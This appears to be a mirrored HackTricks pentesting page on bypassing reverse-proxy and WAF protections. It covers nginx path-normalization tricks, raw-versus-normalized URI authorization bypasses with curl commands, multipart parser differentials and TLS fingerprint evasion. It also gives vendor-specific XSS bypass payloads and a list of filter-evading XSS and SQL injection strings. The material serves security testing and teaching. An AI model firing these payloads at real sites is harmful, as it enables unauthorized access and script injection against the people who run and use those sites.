daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

proxy-waf-protections-bypass.md (29228B)


      1 ---
      2 title: "Proxy / WAF Protections Bypass"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/proxy-waf-protections-bypass.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/proxy-waf-protections-bypass.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Proxy / WAF Protections Bypass
     14 
     15 ## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
     16 
     17 Techniques [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).<sup>[[1]](#references)</sup>
     18 
     19 Nginx rule example:
     20 
     21 ```plaintext
     22 location = /admin {
     23     deny all;
     24 }
     25 
     26 location = /admin/ {
     27     deny all;
     28 }
     29 ```
     30 
     31 In order to prevent bypasses Nginx performs path normalization before checking it. However, if the backend server performs a different normalization (removing characters that nginx doesn't remove) it might be possible to bypass this defense.
     32 
     33 ### **NodeJS - Express**
     34 
     35 | Nginx Version | **Node.js Bypass Characters** |
     36 | ------------- | ----------------------------- |
     37 | 1.22.0        | `\xA0`                        |
     38 | 1.21.6        | `\xA0`                        |
     39 | 1.20.2        | `\xA0`, `\x09`, `\x0C`        |
     40 | 1.18.0        | `\xA0`, `\x09`, `\x0C`        |
     41 | 1.16.1        | `\xA0`, `\x09`, `\x0C`        |
     42 
     43 ### **Flask**
     44 
     45 | Nginx Version | **Flask Bypass Characters**                                    |
     46 | ------------- | -------------------------------------------------------------- |
     47 | 1.22.0        | `\x85`, `\xA0`                                                 |
     48 | 1.21.6        | `\x85`, `\xA0`                                                 |
     49 | 1.20.2        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
     50 | 1.18.0        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
     51 | 1.16.1        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
     52 
     53 ### **Spring Boot**
     54 
     55 | Nginx Version | **Spring Boot Bypass Characters** |
     56 | ------------- | --------------------------------- |
     57 | 1.22.0        | `;`                               |
     58 | 1.21.6        | `;`                               |
     59 | 1.20.2        | `\x09`, `;`                       |
     60 | 1.18.0        | `\x09`, `;`                       |
     61 | 1.16.1        | `\x09`, `;`                       |
     62 
     63 ### **PHP-FPM**
     64 
     65 Nginx FPM configuration:
     66 
     67 ```plaintext
     68 location = /admin.php {
     69     deny all;
     70 }
     71 
     72 location ~ \.php$ {
     73     include snippets/fastcgi-php.conf;
     74     fastcgi_pass unix:/run/php/php8.1-fpm.sock;
     75 }
     76 ```
     77 
     78 Nginx is configured to block access to `/admin.php` but it's possible to bypass this by accessing `/admin.php/index.php`.
     79 
     80 ### How to prevent
     81 
     82 ```plaintext
     83 location ~* ^/admin {
     84     deny all;
     85 }
     86 ```
     87 
     88 ## Raw-vs-normalized URI authorization bypass
     89 
     90 A reverse proxy can give one request **two security identities** when authorization evaluates the original URI while routing later uses a decoded, dot-segment-normalized URI. In nginx, policy built from `$request_uri` can therefore disagree with the location/upstream selected from the normalized `$uri`; this is more dangerous than a normal ACL bypass when the first path segment selects a tenant, application, or permission domain.<sup>[[15]](#references)</sup>
     91 
     92 For example, an authorization subrequest may extract the target service from the raw path:<sup>[[15]](#references)</sup>
     93 
     94 ```nginx
     95 map $request_uri $target_service {
     96     default                 "";
     97     ~^/proxy/([a-z]+)/      $1;
     98 }
     99 ```
    100 
    101 A request such as `/proxy/allowed/..%2f..%2fproxy/forbidden/api` can be authorized for `allowed`, then decoded and normalized to `/proxy/forbidden/api` for upstream routing. Establish a denied baseline against the protected path first, then compare it with the traversal form; a stable `403` to `200` change is strong evidence that the policy and routing layers interpreted different destinations.<sup>[[15]](#references)</sup>
    102 
    103 ### Prefix exemptions become routing keys
    104 
    105 Authentication allowlists based on lexical prefix checks are especially exploitable across this boundary. If the gate exempts every raw path satisfying `startsWith("/api/auth/public/")`, traversal appended after that prefix can retain the exemption while normalization selects an unrelated protected handler:<sup>[[15]](#references)</sup>
    106 
    107 ```text
    108 raw:        /api/auth/public/../../../proxy/internal/admin
    109 policy:     startsWith("/api/auth/public/") -> exempt
    110 normalized: /proxy/internal/admin           -> protected upstream
    111 ```
    112 
    113 Preserve the path bytes during testing because HTTP clients may remove dot segments before sending the request:<sup>[[15]](#references)</sup>
    114 
    115 ```bash
    116 curl -sk --path-as-is \
    117   'https://target/api/auth/public/../../../proxy/internal/admin'
    118 ```
    119 
    120 Also audit the service-extraction grammar itself. A regex such as `[a-z]+` does not recognize legitimate identifiers containing hyphens, so the authorization backend may receive an empty/default service while routing still reaches the hyphenated application.<sup>[[15]](#references)</sup>
    121 
    122 ### Trusted-host metadata as a second bypass
    123 
    124 After reaching an internal-only upstream, inspect how it determines the caller. A loopback service always sees the reverse proxy as its TCP peer; if it then treats client-influenced `Host` or `X-Forwarded-Host` as proof of local origin, an external request with `Host: 127.0.0.1` may satisfy the trusted-host check. This applies when the proxy rebuilds the forwarded header from the incoming Host value rather than a fixed, authenticated service identity.<sup>[[15]](#references)</sup>
    125 
    126 ```bash
    127 curl -sk --path-as-is \
    128   'https://target/api/auth/public/../../../proxy/internal/admin' \
    129   -H 'Host: 127.0.0.1'
    130 ```
    131 
    132 A compact review workflow is to log and compare the original URI, normalized URI, extracted authorization target, selected upstream, socket peer, and every forwarded identity header for the same request; test direct and traversal variants with no-permission and unauthenticated sessions. Fixes should canonicalize once before both authorization and routing, use exact route/method allowlist entries, validate the complete service-name grammar, and authenticate proxy-to-service identity instead of trusting client-derived host metadata.<sup>[[15]](#references)</sup>
    133 
    134 When this bypass exposes a dangerous internal handler, assess the reached primitive rather than repeating it here: [SQL injection](/hacktricks/pentesting-web/sql-injection/overview), [command injection](/hacktricks/pentesting-web/command-injection), [JWT secret compromise](/hacktricks/pentesting-web/hacking-jwt-json-web-tokens), or [sudo command abuse](/hacktricks/linux-hardening/main-system-information/sudo-command-abuse).<sup>[[15]](#references)</sup>
    135 
    136 ## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
    137 
    138 ### Path Confusion
    139 
    140 [**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) is explained that ModSecurity v3 (until 3.0.12), **improperly implemented the `REQUEST_FILENAME`** variable which was supposed to contain the accessed path (until the start of the parameters). This is because it performed an URL decode to get the path.<sup>[[2]](#references)</sup>\
    141 Therefore, a request like `http://example.com/foo%3f';alert(1);foo=` in mod security will suppose that the path is just `/foo` because `%3f` is transformed into `?` ending the URL path, but actually the path that a server will receive will be `/foo%3f';alert(1);foo=`.<sup>[[2]](#references)</sup>
    142 
    143 The variables `REQUEST_BASENAME` and `PATH_INFO` were also affected by this bug.
    144 
    145 Something similar ocurred in version 2 of Mod Security that allowed to bypass a protection that prevented user accessing files with specific extensions related to backup files (such as `.bak`) simply by sending the dot URL encoded in `%2e`, for example: `https://example.com/backup%2ebak`.
    146 
    147 ## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
    148 
    149 ### Malformed Header
    150 
    151 [This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) mentions that it was possible to bypass AWS WAF rules applied over HTTP headers by sending a "malformed" header that wasn't properly parsed by AWS but it was by the backend server.<sup>[[1]](#references)</sup>
    152 
    153 For example, sending the following request with a SQL injection in the header X-Query:
    154 
    155 ```http
    156 GET / HTTP/1.1\r\n
    157 Host: target.com\r\n
    158 X-Query: Value\r\n
    159 \t' or '1'='1' -- \r\n
    160 Connection: close\r\n
    161 \r\n
    162 ```
    163 
    164 It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
    165 
    166 ## Multipart / parser-differential WAF bypasses
    167 
    168 Some emergency WAF rules for parser-driven bugs try to **parse `multipart/form-data` themselves** and then scan only the reconstructed fields. This is fragile: if the WAF and the backend do **not** implement the **same grammar**, the WAF can inspect a harmless interpretation while the backend rebuilds the real payload. Treat this as a **grammar un-equivalence** problem, not as pure signature evasion.
    169 
    170 This is especially relevant in exploit chains such as **React2Shell**, where the malicious server-side object graph can stay unchanged while only the **HTTP transport syntax** is mutated until the WAF and the origin disagree.<sup>[[3]](#references)</sup>
    171 
    172 ### High-value parser differential checks
    173 
    174 - **Top-level `Content-Type` parsing**: duplicate `boundary=` parameters, quoted vs unquoted values, spaces, escapes, RFC 5987 parameters, multiple `Content-Type` headers, case sensitivity, invalid/non-UTF8 bytes.
    175 - **Multipart framing**: garbage before/after the first boundary, `\r\n` vs `\n`, large body handling, duplicate field names, malformed closing markers such as ``--boundary-- ``.
    176 - **Per-part headers**: duplicate `Content-Type`, `Content-Disposition` quirks (`filename`, `filename*=`), per-part charsets such as `utf16le` / `ucs2`, duplicate sub-headers, `Content-Transfer-Encoding`.
    177 
    178 ### Exploitable patterns
    179 
    180 - **Duplicate parameter precedence mismatch**: if the WAF uses the last `boundary=` but the backend uses the first one, the WAF can parse an empty body while the backend parses the attacker-controlled parts.
    181 - **Fail-open parser errors**: if malformed headers or invalid octets make the WAF parser error and the request is still forwarded, inspection is effectively disabled.
    182 - **Per-part charset decoding gaps**: if the backend honors `Content-Type: text/plain; charset=utf16le` (or `ucs2`) inside a multipart part while the WAF scans raw bytes, blocked markers such as `:constructor` can be hidden in the encoded body. `busboy`, for example, maps `utf16le` / `ucs2` to a UTF-16 decoder.<sup>[[4]](#references)</sup>
    183 - **Duplicate multipart sub-headers**: duplicated `Content-Type` headers inside the same part can create a second precedence mismatch where the WAF sees `charset=utf8` but the backend honors the first `charset=utf16le`.
    184 - **Boundary termination quirks**: if the WAF accepts `--boundary-- ` as the final marker but the backend rejects the trailing whitespace, the WAF stops scanning too early and the backend keeps parsing later parts.
    185 
    186 ### Testing workflow
    187 
    188 1. Find or build an endpoint that shows how the **backend parser** reconstructed each multipart field.
    189 2. Keep the **backend payload** identical and mutate only the **transport grammar**.
    190 3. Diff the WAF decision against backend parsing while fuzzing duplicate parameters, duplicate headers, malformed octets, part charsets, and closing-boundary syntax.
    191 4. Treat **parse error => allow** as a critical finding and validate first with safe marker strings before replaying the real exploit payload.
    192 
    193 These ambiguities often overlap with:
    194 
    195 [Readme](/hacktricks/pentesting-web/http-request-smuggling/overview)
    196 
    197 [Readme](/hacktricks/pentesting-web/file-upload/overview)
    198 
    199 ## TLS, JA3/JA4 and HTTP/2 fingerprint evasion
    200 
    201 An intercepting proxy creates two independent TLS sessions: browser-to-proxy and proxy-to-origin. The origin therefore fingerprints **Burp's outbound `ClientHello`**, not the browser's, while still receiving forwarded headers such as a Firefox or Chrome `User-Agent`. Bot controls can detect this cross-layer mismatch by correlating the TLS version, ordered cipher suites and extensions, ALPN, HTTP/2 `SETTINGS` and pseudo-header ordering, header ordering, and timing.<sup>[[14]](#references)</sup>
    202 
    203 JA3 summarizes ordered `ClientHello` fields, so changing only the `User-Agent` does not change the TLS identity. JA4 normalizes some unstable fields but the testing principle is the same: treat TLS, HTTP/2, headers, and behavior as one fingerprint rather than independent layers.<sup>[[14]](#references)</sup>
    204 
    205 ### Shape Burp's server-facing connection
    206 
    207 The [Bypass Bot Detection BApp](https://portswigger.net/bappstore/50fd63182afe43b7a3cf99b523f313f9) changes Burp's server-facing network settings. Right-click a relevant request/response and open **Extensions -> Bypass bot detection**; current versions expose browser cipher profiles, an HTTP/2 downgrade, and brute-force probing.<sup>[[13]](#references)[[14]](#references)</sup>
    208 
    209 - **Browser profile:** select a Firefox, Chrome, or Safari profile matching the HTTP identity. The extension configures a shorter browser-shaped TLS protocol/cipher list and a corresponding `User-Agent`.
    210 - **HTTP/2 downgrade:** force HTTP/1.1 when the origin permits it, removing HTTP/2 `SETTINGS` and pseudo-header-order signals. TLS and HTTP/1 header/behavioral signals remain visible.
    211 - **Brute force:** replay selected requests with different TLS protocol/cipher combinations and flag response differences. This identifies cipher-sensitive scoring, not a universal bypass.
    212 
    213 The extension selects Burp's **Use custom protocols and ciphers** setting and brute-force mode changes network settings while it runs; do not run it concurrently with unrelated active scans. Cipher shaping also does **not** reproduce every byte of a real browser handshake, so extension order, supported groups, ALPN, timing, HTTP semantics, or behavioral telemetry may still reveal the proxy.<sup>[[13]](#references)[[14]](#references)</sup>
    214 
    215 ### Verify instead of assuming
    216 
    217 Measure both the transport change and the application result.<sup>[[14]](#references)</sup>
    218 
    219 1. Record a direct-browser baseline with a fingerprint echo endpoint such as `https://tls.peet.ws/api/all`.
    220 2. Send the same request through Burp with the BApp disabled and save the reported ciphers, extensions, JA3/JA4, ALPN, and HTTP/2 fields.
    221 3. Apply the desired profile or downgrade and repeat the request.
    222 4. For byte-level confirmation, capture Burp's outbound `ClientHello` in Wireshark and diff cipher/extension ordering.
    223 5. Finally, repeat the authentication or session flow that was rejected. A changed hash proves only that the handshake changed; the target flow proves whether bot scoring changed.
    224 
    225 When comparing repeated TLS 1.3 connections, separate **full handshakes** from **resumed sessions**. A first connection may include extension `35` (`session_ticket`), while a resumed connection may replace it with extension `41` (`pre_shared_key`); that legitimate extension-list change also changes JA3. Use equivalent session state (or fresh sessions) before attributing a difference to the BApp.<sup>[[14]](#references)</sup>
    226 
    227 ## Generic WAF bypasses
    228 
    229 For additional modern examples across large attack surfaces, the NahamCon 2024 talk in the References section is a useful companion to the concrete parser and encoding differentials below.<sup>[[10]](#references)</sup>
    230 
    231 ### Request Size Limits
    232 
    233 Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request.
    234 
    235 - For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
    236 
    237 <table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections</td><td>8 KB</td></tr><tr><td>Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**</td><td>64 KB</td></tr></tbody></table>
    238 
    239 - From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
    240 
    241 Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than **128 KB** by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:
    242 
    243 If p**revention mode**: Logs and blocks the request.\
    244 If **detection mode**: Inspects up to the limit, ignores the rest, and logs if the `Content-Length` exceeds the limit.
    245 
    246 - From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
    247 
    248 By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.
    249 
    250 - From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
    251 
    252 Up to 128KB.
    253 
    254 ### Static assets inspection gaps (.js GETs)
    255 
    256 Some CDN/WAF stacks apply weak or no content inspection to GET requests for static assets (for example paths ending with `.js`), while still applying global rules like rate limiting and IP reputation. Combined with auto-caching of static extensions, this can be abused to deliver or seed malicious variants that affect subsequent HTML responses.<sup>[[5]](#references)</sup>
    257 
    258 Practical use cases:
    259 
    260 - Send payloads in untrusted headers (e.g., `User-Agent`) on a GET to a `.js` path to avoid content inspection, then immediately request the main HTML to influence the cached variant.
    261 - Use a fresh/clean IP; once an IP is flagged, routing changes can make the technique unreliable.
    262 - In Burp Repeater, use "Send group in parallel" (single-packet style) to race the two requests (`.js` then HTML) through the same front-end path.
    263 
    264 This pairs well with header-reflection cache poisoning. See:
    265 
    266 [Readme](/hacktricks/pentesting-web/cache-deception/overview)
    267 
    268 - [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)<sup>[[5]](#references)</sup>
    269 
    270 ### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
    271 
    272 ```bash
    273 # IIS, ASP Clasic
    274 <%s%cr%u0131pt> == <script>
    275 
    276 # Path blacklist bypass - Tomcat
    277 /path1/path2/ == ;/path1;foo/path2;bar/;
    278 ```
    279 
    280 ### Unicode Compatability <a href="#unicode-compatability" id="unicode-compatability"></a>
    281 
    282 Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload.<sup>[[6]](#references)</sup> Compatible characters can be found [here](https://www.compart.com/en/unicode).
    283 
    284 #### Example <a href="#example" id="example"></a>
    285 
    286 ```bash
    287 # under the NFKD normalization algorithm, the characters on the left translate
    288 # to the XSS payload on the right
    289 <img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>
    290 ```
    291 
    292 ### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
    293 
    294 As described in [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), contextual WAFs can sometimes be bypassed by exploiting differences between how the WAF and the application normalize user input.<sup>[[7]](#references)</sup>
    295 
    296 For example, in the post it's mentioned that **Akamai URL decoded a user input 10 times**. Therefore something like `<input/%2525252525252525253e/onfocus` will be seen by Akamai as `<input/>/onfocus` which **might think that it's ok as the tag is closed**. However, as long as the application doesn't URL decode the input 10 times, the victim will see something like `<input/%25252525252525253e/onfocus` which is **still valid for a XSS attack**.
    297 
    298 This can **hide payloads in encoded components** that the WAF decodes differently from the application or browser.
    299 
    300 Moreover, this can be done not only with URL encoded payloads but also with other encodings such as unicode, hex, octal...
    301 
    302 In the post the following final bypasses are suggested:
    303 
    304 - Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
    305 - Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
    306 - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
    307 - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
    308 
    309 It's also mentioned that depending on **how some WAFs understand the context** of the user input, it might be possible to abuse it. The proposed example in the blog is that Akamai allow(ed) to put anything between `/*` and `*/` (potentially because this is commonly used as comments. Therefore, a SQLinjection such as `/*'or sleep(5)-- -*/` won't be caught and will be valid as `/*` is the starting string of the injection and `*/` is commented.
    310 
    311 These kind of context problems can also be used to **abuse other vulnerabilities than the one expected** to be exploited by the WAF (e.g. this could also be used to exploit a XSS).
    312 
    313 ### Inline JavaScript first-statement inspection gaps
    314 
    315 Some inline-inspection rulesets only parse the first JavaScript statement present inside an event handler. By prefixing a harmless-looking expression in parentheses followed by a semicolon (for example `onfocus="(history.length);payload"`), the malicious code placed after the semicolon bypasses inspection while the browser still executes it. Combining this with fragment-induced focus (e.g., appending `#forgot_btn` so the targeted element is focused on load) allows click-less XSS that can immediately call `$.getScript` and bootstrap phishing tooling such as keyloggers. See the [attribute-only login XSS case study](/hacktricks/pentesting-web/xss-cross-site-scripting/overview#attribute-only-login-xss-behind-wafs) derived from [this research](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/).<sup>[[8]](#references)</sup>
    316 
    317 ### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
    318 
    319 
    320 [H2C Smuggling](/hacktricks/pentesting-web/h2c-smuggling)
    321 
    322 ### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
    323 
    324 - [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf
    325 - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox
    326 - [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs
    327 - [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines.
    328 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)<sup>[[7]](#references)</sup>
    329 
    330 ### Regex Bypasses
    331 
    332 Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).<sup>[[9]](#references)</sup><sup>[[11]](#references)</sup><sup>[[12]](#references)</sup>
    333 
    334 ```bash
    335 <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
    336 <<script>alert(XSS)</script> #prepending an additional "<"
    337 <script>alert(XSS) // #removing the closing tag
    338 <script>alert`XSS`</script> #using backticks instead of parenetheses
    339 java%0ascript:alert(1) #using encoded newline characters
    340 <iframe src=http://malicous.com < #double open angle brackets
    341 <STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
    342 <img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
    343 <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
    344 Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
    345 javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
    346 <iframe src="javascript:alert(`xss`)"> #unicode encoding
    347 /?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
    348 new Function`alt\`6\``; #using backticks instead of parentheses
    349 data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
    350 %26%2397;lert(1) #using HTML encoding
    351 <a src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm%28XSS%29"> #Using Line Feed (LF) line breaks
    352 <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
    353 ```
    354 
    355 ## Tools
    356 
    357 - [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin to add junk data to requests to bypass WAFs by length
    358 
    359 ## References
    360 
    361 - [1] [Exploiting HTTP Parsers Inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
    362 - [2] [ModSecurity: Path Confusion and Really Easy Bypass on v2 and v3](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
    363 - [3] [$170k in Bypasses: The Vercel React2Shell Challenge](https://www.hacktron.ai/blog/react2shell-vercel-waf-bypass)
    364 - [4] [busboy - lib/utils.js (charset-to-decoder mapping)](https://github.com/mscdex/busboy/blob/6b3dcf69d38c1a8d53a0b3e4c88ba296f6c91525/lib/utils.js#L403-L406)
    365 - [5] [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
    366 - [6] [WAF Bypassing with Unicode Compatibility](https://jlajara.gitlab.io/Bypass_WAF_Unicode)
    367 - [7] [Exploring JavaScript Events: Bypassing WAFs via Character Normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
    368 - [8] [Turning a Harmless XSS Behind a WAF into a Realistic Phishing Vector](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/)
    369 - [9] [5 Ways I Bypassed Your Web Application Firewall (WAF)](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)
    370 - [10] [#NahamCon2024: Modern WAF Bypass Techniques on Large Attack Surfaces](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
    371 - [11] [swisskyrepo/PayloadsAllTheThings - PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads)
    372 - [12] [cheatsheetseries.owasp.org - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)
    373 - [13] [PortSwigger Bypass Bot Detection extension](https://github.com/PortSwigger/bypass-bot-detection)
    374 - [14] [When a Web App Detects Burp Suite via TLS Fingerprinting](https://kecman.co/blog/burp-suite-tls-fingerprint-bot-detection-bypass.html)
    375 - [15] [Pre-Auth RCE in UniFi OS — One Request to Root Behind Seven Products](https://catchify.sa/post/pre-auth-rce-unifi-os-one-request-to-root)